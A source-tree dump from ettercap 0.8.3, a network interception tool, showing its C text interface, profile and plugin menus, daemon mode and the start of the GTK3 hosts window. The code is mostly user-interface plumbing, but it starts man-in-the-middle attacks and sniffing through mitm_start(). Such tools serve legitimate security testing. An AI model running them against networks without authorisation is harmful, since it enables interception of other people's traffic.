new_tc.c_cc[VTIME] = 1; tcsetattr(0, TCSANOW, &new_tc); } /* * reset to the previous state */ static void text_cleanup(void) { /* flush the last user messages */ ui_msg_flush(MSG_ALL); fprintf(stdout, "\n"); tcsetattr(0, TCSANOW, &old_tc); } /* * print a USER_MSG() */ static void text_msg(const char *msg) { /* avoid implicit format bugs */ fprintf(stdout, "%s", msg); /* allow non buffered messages */ fflush(stdout); } /* * print an error */ static void text_error(const char *msg) { /* avoid implicit format bugs */ fprintf(stdout, "\nFATAL: %s\n\n", msg); /* allow non buffered messages */ fflush(stdout); } /* * handle a fatal error and exit */ static void text_fatal_error(const char *msg) { /* avoid implicit format bugs */ fprintf(stdout, "\n"EC_COLOR_RED"FATAL: "EC_COLOR_END"%s\n\n", msg); /* allow non buffered messages */ fflush(stdout); /* restore console settings */ tcsetattr(0, TCSANOW, &old_tc); /* exit without calling atexit() */ _exit(-1); } /* * display the 'title' and get the 'input' from the user */ static void text_input(const char *title, char *input, size_t n, void (*callback)(void)) { char *p; /* display the title */ fprintf(stdout, "%s", title); fflush(stdout); /* repristinate the buffer input */ tcsetattr(0, TCSANOW, &old_tc); /* wipe the buffer */ memset(input, 0, n); /* get the user input */ fgets(input, n, stdin); /* trim the \n */ if ((p = strrchr(input, '\n')) != NULL) *p = '\0'; else { /* * eat the input until \n * this will happen if the user has entered * more chars than n */ while(getc(stdin) != '\n'); } /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); /* * call the supplied function * the callee is aware of the buffer to be used */ if (callback != NULL) callback(); } /* * implement the progress bar */ static int text_progress(char *title, int value, int max) { float percent; int i; /* variable not used */ (void) title; /* calculate the percent */ percent = (float)(value)*100/(max); /* * we use stderr to avoid scrambling of * logfile generated by: ./ettercap -T > logfile */ switch(value % 4) { case 0: fprintf(stderr, "\r| |"); break; case 1: fprintf(stderr, "\r/ |"); break; case 2: fprintf(stderr, "\r- |"); break; case 3: fprintf(stderr, "\r\\ |"); break; } /* fill the bar */ for (i=0; i < percent/2; i++) fprintf(stderr, "="); fprintf(stderr, ">"); /* fill the empty part of the bar */ for(; i < 50; i++) fprintf(stderr, " "); fprintf(stderr, "| %6.2f %%", percent ); fflush(stderr); if (value == max) { fprintf(stderr, "\r* |==================================================>| 100.00 %%\n\n"); return UI_PROGRESS_FINISHED; } return UI_PROGRESS_UPDATED; } /* the interface */ void text_interface(void) { struct plugin_list *plugin, *tmp; DEBUG_MSG("text_interface"); LIST_FOREACH_SAFE(plugin, &EC_GBL_OPTIONS->plugins, next, tmp) { /* check if the specified plugin exists */ if (search_plugin(plugin->name) != E_SUCCESS) { plugin->exists = false; USER_MSG("Sorry, plugin '%s' can not be found - skipping!\n\n", plugin->name); } } /* build the list of active hosts */ build_hosts_list(); /* start the mitm attack */ mitm_start(); /* start the sniffing method */ EXECUTE(EC_GBL_SNIFF->start); /* it is difficult to be interactive while reading from file... */ if (!EC_GBL_OPTIONS->read) { USER_MSG("\nText only Interface activated...\n"); USER_MSG("Hit 'h' for inline help\n\n"); } /* flush all the messages */ ui_msg_flush(MSG_ALL); /* if we have to activate a plugin */ if (!LIST_EMPTY(&EC_GBL_OPTIONS->plugins)) { /* * execute the plugin and close the interface if * the plugin was not found or it has completed * its execution */ LIST_FOREACH_SAFE(plugin, &EC_GBL_OPTIONS->plugins, next, tmp) { if (plugin->exists && text_plugin(plugin->name) != PLUGIN_RUNNING) /* skip plugin */ USER_MSG("Plugin '%s' can not be started - skipping!\n\n", plugin->name); } } /* neverending loop for user input */ LOOP { CANCELLATION_POINT(); /* if there is a pending char to be read */ if (ec_poll_in(fileno(stdin), 10) || ec_poll_buffer(EC_GBL_OPTIONS->script)) { char ch = 0; /* get the input from the stdin or the buffer */ if (ec_poll_buffer(EC_GBL_OPTIONS->script)) ch = getchar_buffer(&EC_GBL_OPTIONS->script); else ch = getchar(); switch(ch) { case 'H': case 'h': text_help(); break; case 'P': case 'p': text_run_plugin(); break; case 'F': case 'f': text_run_filter(); break; case 'S': case 's': text_stats(); break; case 'L': case 'l': text_hosts_list(); break; case 'V': case 'v': text_visualization(); break; case 'O': case 'o': text_profile_list(); break; case 'C': case 'c': text_connections(); break; case ' ': text_stop_cont(); break; case 'R': case 'r': text_redirects(); break; case 'Q': case 'q': USER_MSG("Closing text interface...\n\n"); return; break; } } /* print pending USER_MSG messages */ ui_msg_flush(INT_MAX); } /* NOT REACHED */ } /* print the help screen */ static void text_help(void) { fprintf(stderr, "\nInline help:\n\n"); fprintf(stderr, " [vV] - change the visualization mode\n"); fprintf(stderr, " [pP] - activate a plugin\n"); fprintf(stderr, " [fF] - (de)activate a filter\n"); fprintf(stderr, " [lL] - print the hosts list\n"); fprintf(stderr, " [oO] - print the profiles list\n"); fprintf(stderr, " [cC] - print the connections list\n"); fprintf(stderr, " [rR] - adjust SSL intercept rules\n"); fprintf(stderr, " [sS] - print interfaces statistics\n"); fprintf(stderr, " [] - stop/cont printing packets\n"); fprintf(stderr, " [qQ] - quit\n\n"); } /* * stops or continues to print packets * it is another way to control the -q option */ static void text_stop_cont(void) { /* revert the quiet option */ EC_GBL_OPTIONS->quiet = (EC_GBL_OPTIONS->quiet) ? 0 : 1; if (EC_GBL_OPTIONS->quiet) fprintf(stderr, "\nPacket visualization stopped...\n"); else fprintf(stderr, "\nPacket visualization restarted...\n"); } /* * display a list of plugin, and prompt * the user for a plugin to run. */ static void text_run_plugin(void) { char name[20]; int restore = 0; char *p; #ifndef HAVE_PLUGINS fprintf(stderr, "Plugin support was not compiled in..."); return; #endif /* there are no plugins */ if (text_plugin("list") == -E_NOTFOUND) return; /* stop the visualization while the plugin interface is running */ if (!EC_GBL_OPTIONS->quiet) { text_stop_cont(); restore = 1; } /* print the messages created by text_plugin */ ui_msg_flush(MSG_ALL); /* repristinate the buffer input */ tcsetattr(0, TCSANOW, &old_tc); fprintf(stdout, "Plugin name (0 to quit): "); fflush(stdout); /* get the user input */ fgets(name, 20, stdin); /* trim the \n */ if ((p = strrchr(name, '\n')) != NULL) *p = '\0'; /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); if (!strcmp(name, "0")) { if (restore) text_stop_cont(); return; } /* run the plugin */ text_plugin(name); /* continue the visualization */ if (restore) text_stop_cont(); } static int text_print_filter_cb(struct filter_list *l, void *arg) { int *i = (int *)arg; fprintf(stdout, "[%d (%d)]: %s\n", (*i)++, l->enabled, l->name); return 1; } static int text_toggle_filter_cb(struct filter_list *l, void *arg) { int *number = (int *)arg; if (!--(*number)) { /* we reached the item */ l->enabled = ! l->enabled; return 0; /* no need to traverse the list any further */ } return 1; } /* * display the list of loaded filters and * allow the user to enable or disable them */ static void text_run_filter(void) { int restore = 0; /* stop the visualization while the plugin interface is running */ if (!EC_GBL_OPTIONS->quiet) { text_stop_cont(); restore = 1; } ui_msg_flush(MSG_ALL); fprintf(stderr, "\nLoaded etterfilter scripts:\n\n"); while(1) { char input[20]; int i = 1; int number = -1; /* repristinate the buffer input */ tcsetattr(0, TCSANOW, &old_tc); filter_walk_list( text_print_filter_cb, &i ); int c; do { fprintf(stdout, "\nEnter a number to enable/disable filter (0 to quit): "); /* get the user input */ fgets(input, 19, stdin); number = -1; c=sscanf(input, "%d", &number); if(c!=1) fprintf(stdout, "\nYou need to enter a number, please try again."); } while(c!=1); if (number == 0) { break; } else if (number > 0) { filter_walk_list( text_toggle_filter_cb, &number ); } }; /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); /* continue the visualization */ if (restore) text_stop_cont(); } /* * print the interface statistics */ static void text_stats(void) { DEBUG_MSG("text_stats (pcap) : %" PRIu64 " %" PRIu64 " %" PRIu64, EC_GBL_STATS->ps_recv, EC_GBL_STATS->ps_drop, EC_GBL_STATS->ps_ifdrop); DEBUG_MSG("text_stats (BH) : [%lu][%lu] p/s -- [%lu][%lu] b/s", EC_GBL_STATS->bh.rate_adv, EC_GBL_STATS->bh.rate_worst, EC_GBL_STATS->bh.thru_adv, EC_GBL_STATS->bh.thru_worst); DEBUG_MSG("text_stats (TH) : [%lu][%lu] p/s -- [%lu][%lu] b/s", EC_GBL_STATS->th.rate_adv, EC_GBL_STATS->th.rate_worst, EC_GBL_STATS->th.thru_adv, EC_GBL_STATS->th.thru_worst); DEBUG_MSG("text_stats (queue) : %lu %lu", EC_GBL_STATS->queue_curr, EC_GBL_STATS->queue_max); fprintf(stdout, "\n Received packets : %8" PRIu64 "\n", EC_GBL_STATS->ps_recv); fprintf(stdout, " Dropped packets : %8" PRIu64 " %.2f %%\n", EC_GBL_STATS->ps_drop, (EC_GBL_STATS->ps_recv) ? (float)EC_GBL_STATS->ps_drop * 100 / EC_GBL_STATS->ps_recv : 0 ); fprintf(stdout, " Forwarded : %8" PRIu64 " bytes: %8" PRIu64 "\n\n", EC_GBL_STATS->ps_sent, EC_GBL_STATS->bs_sent); fprintf(stdout, " Current queue len : %lu/%lu\n", EC_GBL_STATS->queue_curr, EC_GBL_STATS->queue_max); fprintf(stdout, " Sampling rate : %d\n\n", EC_GBL_CONF->sampling_rate); fprintf(stdout, " Bottom Half received packet : pck: %8" PRIu64 " byte: %8" PRIu64 "\n", EC_GBL_STATS->bh.pck_recv, EC_GBL_STATS->bh.pck_size); fprintf(stdout, " Top Half received packet : pck: %8" PRIu64 " byte: %8" PRIu64 "\n", EC_GBL_STATS->th.pck_recv, EC_GBL_STATS->th.pck_size); fprintf(stdout, " Interesting packets : %.2f %%\n\n", (EC_GBL_STATS->bh.pck_recv) ? (float)EC_GBL_STATS->th.pck_recv * 100 / EC_GBL_STATS->bh.pck_recv : 0 ); fprintf(stdout, " Bottom Half packet rate : worst: %8lu adv: %8lu p/s\n", EC_GBL_STATS->bh.rate_worst, EC_GBL_STATS->bh.rate_adv); fprintf(stdout, " Top Half packet rate : worst: %8lu adv: %8lu p/s\n\n", EC_GBL_STATS->th.rate_worst, EC_GBL_STATS->th.rate_adv); fprintf(stdout, " Bottom Half throughput : worst: %8lu adv: %8lu b/s\n", EC_GBL_STATS->bh.thru_worst, EC_GBL_STATS->bh.thru_adv); fprintf(stdout, " Top Half throughput : worst: %8lu adv: %8lu b/s\n\n", EC_GBL_STATS->th.thru_worst, EC_GBL_STATS->th.thru_adv); } /* * prints the hosts list */ static void text_hosts_list(void) { struct hosts_list *hl; char ip[MAX_ASCII_ADDR_LEN]; char mac[MAX_ASCII_ADDR_LEN]; int i = 1; fprintf(stdout, "\n\nHosts list:\n\n"); /* print the list */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { ip_addr_ntoa(&hl->ip, ip); mac_addr_ntoa(hl->mac, mac); if (hl->hostname) fprintf(stdout, "%d)\t%s\t%s\t%s\n", i++, ip, mac, hl->hostname); else fprintf(stdout, "%d)\t%s\t%s\n", i++, ip, mac); } fprintf(stdout, "\n\n"); } /* * prompt the user for the visualization mode */ static void text_visualization(void) { char format[16]; int restore = 0; /* stop the visualization while the plugin interface is running */ if (!EC_GBL_OPTIONS->quiet) { text_stop_cont(); restore = 1; } /* repristinate the buffere input */ tcsetattr(0, TCSANOW, &old_tc); fprintf(stdout, "\n\nVisualization format: "); fflush(stdout); scanf("%15s", format); /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); /* set the format */ set_format(format); /* continue the packet printing */ if (restore) text_stop_cont(); } /* * enter the profile interface */ static void text_profile_list(void) { int restore = 0; /* stop the visualization while the profiles interface is running */ if (!EC_GBL_OPTIONS->quiet) { text_stop_cont(); restore = 1; } /* execute the profiles interface */ text_profiles(); /* continue the visualization */ if (restore) text_stop_cont(); } /* * print all redirect rules and ask user to add or delete */ static void text_redirects(void) { char input[20]; int restore = 0, num, ret; char *p, cmd; /* print registered entries */ text_redirect_print(); /* stop the virtualization while the redirect interface is running */ if (!EC_GBL_OPTIONS->quiet) { text_stop_cont(); restore = 1; } /* print all pending user messages */ ui_msg_flush(MSG_ALL); tcsetattr(0, TCSANOW, &old_tc); /* print instructions */ fprintf(stdout, "'d ' to delete or 'i' to insert new redirect " "(0 to quit): "); fflush(stdout); /* get user input */ fgets(input, 20, stdin); do { /* remote trailing line feed */ if ((p = strrchr(input, '\n')) != NULL) *p = 0; ret = sscanf(input, "%c %d", &cmd, &num); if (ret == 1 && tolower(cmd) == 'i') { text_redirect_add(); /* print registered entries */ text_redirect_print(); } else if (ret == 2 && tolower(cmd) == 'd') { text_redirect_del(num); /* print registered entries */ text_redirect_print(); } else if (!strcmp(input, "0") || !strcmp(input, "exit")) break; else INSTANT_USER_MSG("Invalid input\n"); /* print instructions */ fprintf(stdout, "'d ' to delete or 'i' to insert new redirect " "(0 to quit): "); fflush(stdout); } while (fgets(input, 20, stdin) != NULL); /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); if (restore) text_stop_cont(); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/text/ec_text_profile.c0000644000175000017500000001236313505247364022416 0ustar koeppeakoeppea/* ettercap -- diplay the collected profiles Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #ifdef OS_WINDOWS #include #else #include #endif /* globals */ /* declared in ec_text.c */ extern struct termios old_tc; extern struct termios new_tc; /* proto */ void text_profiles(void); static void detail_hosts(int type); static void detail_select(void); static void detail_help(void); /*******************************************/ void text_profiles(void) { detail_help(); LOOP { CANCELLATION_POINT(); /* if there is a pending char to be read */ if ( ec_poll_in(fileno(stdin), 10) || ec_poll_buffer(EC_GBL_OPTIONS->script) ) { char ch = 0; /* get the input from the stdin or the buffer */ if (ec_poll_buffer(EC_GBL_OPTIONS->script)) ch = getchar_buffer(&EC_GBL_OPTIONS->script); else ch = getchar(); switch(ch) { case 'H': case 'h': detail_help(); break; case 'L': case 'l': detail_hosts(FP_HOST_LOCAL); break; case 'R': case 'r': detail_hosts(FP_HOST_NONLOCAL); break; case 'S': case 's': detail_select(); break; case 'p': profile_purge_local(); USER_MSG("LOCAL hosts purged !\n"); break; case 'P': profile_purge_remote(); USER_MSG("REMOTE hosts purged !\n"); break; case 'Q': case 'q': USER_MSG("Returning to main menu...\n"); ui_msg_flush(1); return; break; } } /* print pending USER_MSG messages */ ui_msg_flush(10); } /* NOT REACHED */ } /* * print the help screen */ static void detail_help(void) { fprintf(stderr, "\n\n [PROFILES] Inline help:\n\n"); fprintf(stderr, " [lL] - detail on local hosts\n"); fprintf(stderr, " [rR] - detail on remote hosts\n"); fprintf(stderr, " [sS] - select a specific host\n"); fprintf(stderr, " [p] - purge local hosts\n"); fprintf(stderr, " [P] - purge remote hosts\n"); fprintf(stderr, " [qQ] - return to main interface\n\n"); } /* * print the list of TYPE (local or remote) hosts */ static void detail_hosts(int type) { struct host_profile *h; int at_least_one = 0; /* go thru the list and print a profile for each host */ TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { if (h->type & type) { at_least_one = 1; /* print the host infos */ print_host(h); } } /* there aren't any profiles */ if (!at_least_one) { if (EC_GBL_OPTIONS->read) { fprintf(stdout, "Can't determine host type when reading from file !!\n"); fprintf(stdout, "Use the select option !!\n"); } else fprintf(stdout, "No collected profiles !!\n"); } } /* * print the list of all collected hosts * and prompt for a choice */ static void detail_select(void) { struct host_profile *h; char tmp[MAX_ASCII_ADDR_LEN]; int i = 0, n = -1; /* go thru the list and print a profile for each host */ TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { fprintf(stdout, "%2d) %15s %s\n", ++i, ip_addr_ntoa(&h->L3_addr, tmp), h->hostname); } /* there aren't any profiles */ if (i == 0) { fprintf(stdout, "No collected profiles !!\n"); return; } fprintf(stdout, "Select an host to display (0 for all, -1 to quit): "); fflush(stdout); /* enable buffered input and echo */ tcsetattr(0, TCSANOW, &old_tc); /* get the user input */ scanf("%d", &n); /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); fprintf(stdout, "\n\n"); /* do the proper action */ switch(n) { case -1: /* quit with no action */ return; break; case 0: /* print ALL the profiles */ TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) print_host(h); break; default: i = 1; TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { if (i++ == n) print_host(h); } break; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/text/ec_text.h0000644000175000017500000000063213505247364020677 0ustar koeppeakoeppea#ifndef ETTERCAP_TEXT_H #define ETTERCAP_TEXT_H extern void set_text_interface(void); extern int text_plugin(char *plugin); extern void text_print_packet(struct packet_object *po); extern void text_profiles(void); extern void text_connections(void); extern void text_redirect_print(void); extern void text_redirect_add(void); extern void text_redirect_del(int num); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/text/ec_text_plugin.c0000644000175000017500000000513313505247364022251 0ustar koeppeakoeppea/* ettercap -- text GUI for plugin management Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* proto */ int text_plugin(char *plugin); static void text_plugin_list(char active, struct plugin_ops *ops); /*******************************************/ /* the interface */ int text_plugin(char *plugin) { int type; DEBUG_MSG("text_plugin: %s", plugin); /* * if the plugin name is "list", print the * plugin list and exit */ if (!strcasecmp(plugin, "list")) { /* delete any previous message */ ui_msg_purge_all(); INSTANT_USER_MSG("\nAvailable plugins :\n\n"); type = plugin_list_walk(PLP_MIN, PLP_MAX, &text_plugin_list); if (type == -E_NOTFOUND) FATAL_MSG("No plugin found !\n"); INSTANT_USER_MSG("\n\n"); /* * return an error, so the text interface * ends and returns to main */ return -E_INVALID; } /* check if the plugin exists */ if (search_plugin(plugin) != E_SUCCESS) FATAL_MSG("%s plugin can not be found !", plugin); if (plugin_is_activated(plugin) == 0) INSTANT_USER_MSG("Activating %s plugin...\n\n", plugin); else INSTANT_USER_MSG("Deactivating %s plugin...\n\n", plugin); /* * pay attention on this ! * if the plugin init does not return, * we are blocked here. So it is encouraged * to write plugins which spawn a thread * and immediately return */ if (plugin_is_activated(plugin) == 1) return plugin_fini(plugin); else return plugin_init(plugin); } /* * callback function for displaying the plugin list */ static void text_plugin_list(char active, struct plugin_ops *ops) { INSTANT_USER_MSG("[%d] %15s %4s %s\n", active, ops->name, ops->version, ops->info); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/daemon/0000755000175000017500000000000013505247364017351 5ustar koeppeakoeppeaettercap-0.8.3/src/interfaces/daemon/ec_daemon.h0000644000175000017500000000052713505247364021440 0ustar koeppeakoeppea #ifndef EC_DAEMON_H #define EC_DAEMON_H #include #include #include #include #include #include #include #include #include #include /* proto */ extern void set_daemon_interface(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/daemon/ec_daemon.c0000644000175000017500000001240613505247364021432 0ustar koeppeakoeppea/* ettercap -- daemonization (no GUI) Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include /* globals */ static int fd; /* proto */ void daemon_interface(void); static void daemon_init(void); static void daemon_cleanup(void); static void daemon_msg(const char *msg); static void daemon_error(const char *msg); static int daemon_progress(char *title, int value, int max); static void daemonize(void); /*******************************************/ void set_daemon_interface(void) { struct ui_ops ops; ops.init = &daemon_init; ops.start = &daemon_interface; ops.cleanup = &daemon_cleanup; ops.msg = &daemon_msg; ops.error = &daemon_error; ops.fatal_error = &daemon_error; ops.progress = &daemon_progress; ops.type = UI_DAEMONIZE; ui_register(&ops); } /* * initialization */ static void daemon_init(void) { fd = open("./ettercap_demonized.log", O_CREAT|O_TRUNC|O_WRONLY, 0600); ON_ERROR(fd, -1, "Can't open daemon log file"); /* daemonize ettercap */ daemonize(); } /* * open a file and dup2 it to in, out and err. * * in this way the user can track errors verified during * daemonization */ static void daemon_cleanup(void) { /* redirect in, out and err to fd */ dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); dup2(fd, STDERR_FILENO); fprintf(stdout, "\nettercap errors during daemonization are reported below:\n\n"); } /* * implement the progress bar (none for daemon) */ static int daemon_progress(char *title, int value, int max) { /* variable not used */ (void) title; if (value == max) return UI_PROGRESS_FINISHED; else return UI_PROGRESS_UPDATED; } /* discard the messages */ static void daemon_msg(const char *msg) { DEBUG_MSG("daemon_msg: %s", msg); return; } /* print the message in the log */ static void daemon_error(const char *msg) { DEBUG_MSG("daemon_error: %s", msg); /* open the exit log file */ daemon_cleanup(); fprintf(stdout, "%s\n", msg); return; } /* the interface */ void daemon_interface(void) { DEBUG_MSG("daemon_interface"); struct plugin_list *plugin, *tmp; LIST_FOREACH_SAFE(plugin, &EC_GBL_OPTIONS->plugins, next, tmp) { /* check if the plugin exists */ if (search_plugin(plugin->name) != E_SUCCESS) plugin->exists = false; USER_MSG("Sorry, plugin '%s' can not be found - skipping!\n\n", plugin->name); } /* build the list of active hosts */ build_hosts_list(); /* start the mitm attack */ mitm_start(); /* initialize the sniffing method */ EXECUTE(EC_GBL_SNIFF->start); /* if we have to activate a plugin */ LIST_FOREACH_SAFE(plugin, &EC_GBL_OPTIONS->plugins, next, tmp) { if (plugin->exists && plugin_init(plugin->name) != PLUGIN_RUNNING) /* skip plugin */ USER_MSG("Plugin '%s' can not be started - skipping!\n\n", plugin->name); } /* discard the messages */ LOOP { CANCELLATION_POINT(); ec_usleep(SEC2MICRO(1)); ui_msg_flush(MSG_ALL); } /* NOT REACHED */ } /* * set the terminal as non blocking */ static void daemonize(void) { #ifdef HAVE_DAEMON int ret; DEBUG_MSG("daemonize: (daemon)"); fprintf(stdout, "Daemonizing %s...\n\n", EC_GBL_PROGRAM); /* * daemonze the process. * keep the current directory * close stdin, out and err */ ret = daemon(1, 0); ON_ERROR(ret, -1, "Can't demonize %s", EC_GBL_PROGRAM); #else pid_t pid; DEBUG_MSG("daemonize: (manual)"); fprintf(stdout, "Daemonizing %s...\n\n", EC_GBL_PROGRAM); if((signal(SIGTTOU, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); if((signal(SIGTTIN, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); if((signal(SIGTSTP, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); if((signal(SIGHUP, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); pid = fork(); if( pid < 0) ERROR_MSG("fork()"); /* kill the father and detach the son */ if ( pid != 0) _exit(0); if(setsid() == -1) ERROR_MSG("setsid(): cannot set the session id"); fd = open("/dev/null", O_RDWR); ON_ERROR(fd, -1, "Can't open /dev/null"); /* redirect in, out and err to /dev/null */ dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); dup2(fd, STDERR_FILENO); close(fd); #endif } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/0000755000175000017500000000000013505247364016756 5ustar koeppeakoeppeaettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_hosts.c0000644000175000017500000003517613505247364021675 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void load_hosts(const char *file); static void save_hosts(void); static void gtkui_hosts_destroy(void); static void gtkui_button_callback(GtkWidget *widget, gpointer data); static void gtkui_hosts_detach(GtkWidget *child); static void gtkui_hosts_attach(void); /* globals */ static GtkWidget *hosts_window = NULL; static GtkTreeSelection *selection = NULL; static GtkListStore *liststore = NULL; enum { HOST_DELETE, HOST_TARGET1, HOST_TARGET2 }; /*******************************************/ #ifdef WITH_IPV6 void toggle_ip6scan(GSimpleAction *action, GVariant *value, gpointer data) { (void) data; g_simple_action_set_state(action, value); EC_GBL_OPTIONS->ip6scan ^= 1; } #endif /* * scan the lan for hosts */ void gtkui_scan(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; /* no target defined... force a full scan */ if (EC_GBL_TARGET1->all_ip && EC_GBL_TARGET2->all_ip && EC_GBL_TARGET1->all_ip6 && EC_GBL_TARGET2->all_ip6 && !EC_GBL_TARGET1->scan_all && !EC_GBL_TARGET2->scan_all) { EC_GBL_TARGET1->scan_all = 1; EC_GBL_TARGET2->scan_all = 1; } /* perform a new scan */ build_hosts_list(); } /* * display the file open dialog */ void gtkui_load_hosts(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *chooser, *content; gchar *filename; int response = 0; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_load_hosts"); dialog = gtk_dialog_new_with_buttons("Select a hosts file...", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); chooser = gtk_file_chooser_widget_new(GTK_FILE_CHOOSER_ACTION_OPEN); gtk_container_add(GTK_CONTAINER(content), chooser); gtk_widget_show(chooser); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(chooser), ""); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(chooser)); load_hosts(filename); gtkui_refresh_host_list(NULL); g_free(filename); } gtk_widget_destroy (dialog); } static void load_hosts(const char *file) { char *tmp; char current[PATH_MAX]; DEBUG_MSG("load_hosts %s", file); SAFE_CALLOC(tmp, strlen(file)+1, sizeof(char)); /* get the current working directory */ getcwd(current, PATH_MAX); /* we are opening a file in the current dir. * use the relative path, so we can open files * in the current dir even if the complete path * is not traversable with ec_uid permissions */ if (!strncmp(current, file, strlen(current))) snprintf(tmp, strlen(file)+1,"./%s", file+strlen(current)); else snprintf(tmp, strlen(file), "%s", file); DEBUG_MSG("load_hosts path == %s", tmp); /* wipe the current list */ del_hosts_list(); /* load the hosts list */ scan_load_hosts(tmp); SAFE_FREE(tmp); gtkui_host_list(NULL, NULL, NULL); } /* * display the write file menu */ void gtkui_save_hosts(GSimpleAction *action, GVariant *value, gpointer data) { #define FILE_LEN 40 GtkWidget *dialog, *chooser, *content; gchar *filename; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_save_hosts"); SAFE_FREE(EC_GBL_OPTIONS->hostsfile); SAFE_CALLOC(EC_GBL_OPTIONS->hostsfile, FILE_LEN, sizeof(char)); dialog = gtk_dialog_new_with_buttons("Save hosts to file...", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); chooser = gtk_file_chooser_widget_new(GTK_FILE_CHOOSER_ACTION_SAVE); gtk_container_add(GTK_CONTAINER(content), chooser); gtk_widget_show(chooser); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(chooser), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(chooser)); gtk_widget_destroy(dialog); memcpy(EC_GBL_OPTIONS->hostsfile, filename, FILE_LEN); g_free(filename); save_hosts(); } else { gtk_widget_destroy(dialog); } } static void save_hosts(void) { FILE *f; /* check if the file is writeable */ f = fopen(EC_GBL_OPTIONS->hostsfile, "w"); if (f == NULL) { ui_error("Cannot write %s", EC_GBL_OPTIONS->hostsfile); SAFE_FREE(EC_GBL_OPTIONS->hostsfile); return; } /* if ok, delete it */ fclose(f); unlink(EC_GBL_OPTIONS->hostsfile); scan_save_hosts(EC_GBL_OPTIONS->hostsfile); } /* * display the host list */ void gtkui_host_list(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *scrolled, *treeview, *vbox, *hbox, *button, *item, *context_menu; GtkCellRenderer *renderer; GtkTreeViewColumn *column; static gint host_delete = HOST_DELETE; static gint host_target1 = HOST_TARGET1; static gint host_target2 = HOST_TARGET2; (void) action; (void) value; (void) data; 